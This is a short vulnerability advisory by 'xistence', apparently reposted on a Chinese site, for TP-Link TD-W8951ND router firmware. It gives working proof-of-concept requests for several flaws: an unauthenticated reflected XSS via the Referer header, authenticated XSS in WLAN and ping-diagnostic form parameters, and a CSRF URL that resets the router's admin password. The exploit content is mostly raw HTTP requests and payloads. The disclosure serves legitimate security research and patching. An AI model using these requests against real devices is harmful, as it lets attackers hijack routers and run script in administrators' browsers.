----------- 作者: xistence < xistence[at]0x90[.]nl > ------------------------- 影响产品: ------------------------- TP-Link TD-W8951ND Firmware 4.0.0 Build 120607 Rel.30923已测试 ------------------------- 官方网址： http://www.tp-link.com/ ---------- 分析: ---------- [ 0x01 - Unauthenticated Reflected XSS in Referer for non-existing url pages ] GET /doesnotexist HTTP/1.1 Host: <IP> Referer: http://pwned"><script>alert("XSS")</script> Connection: keep-alive [ 0x02 - Authenticated Reflected XSS in "home_wlan_1" arguments ] http:// <IP>/Forms/home_wlan_1?wlanWEBFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http:// <IP>/Forms/home_wlan_1?AccessFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http:// <IP>/Forms/home_wlan_1?wlan_APenable=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E [ 0x03 - Authenticated XSS in diagnostics (ping) "/Forms/tools_test_1" argument "PingIPAddr" ] POST /Forms/tools_test_1 HTTP/1.1 Host: <IP> Referer: http://<IP>/maintenance/tools_test.htm Authorization: Basic blablabla== Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 164 Test_PVC=PVC0&PingIPAddr=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&pingflag=1&trace_open_flag=0&InfoDisplay=Ping+request+could+not+find+host+ [ 0x04 - 重置管理用户名和密码的CSRF ] http:// <IP>/Forms/tools_admin_1?uiViewTools_Password=PWNED&uiViewTools_PasswordConfirm=PWNED
查看更多关于TP-Link TD-W8951ND多个缺陷及修复 - 网站安全 - 自学的详细内容...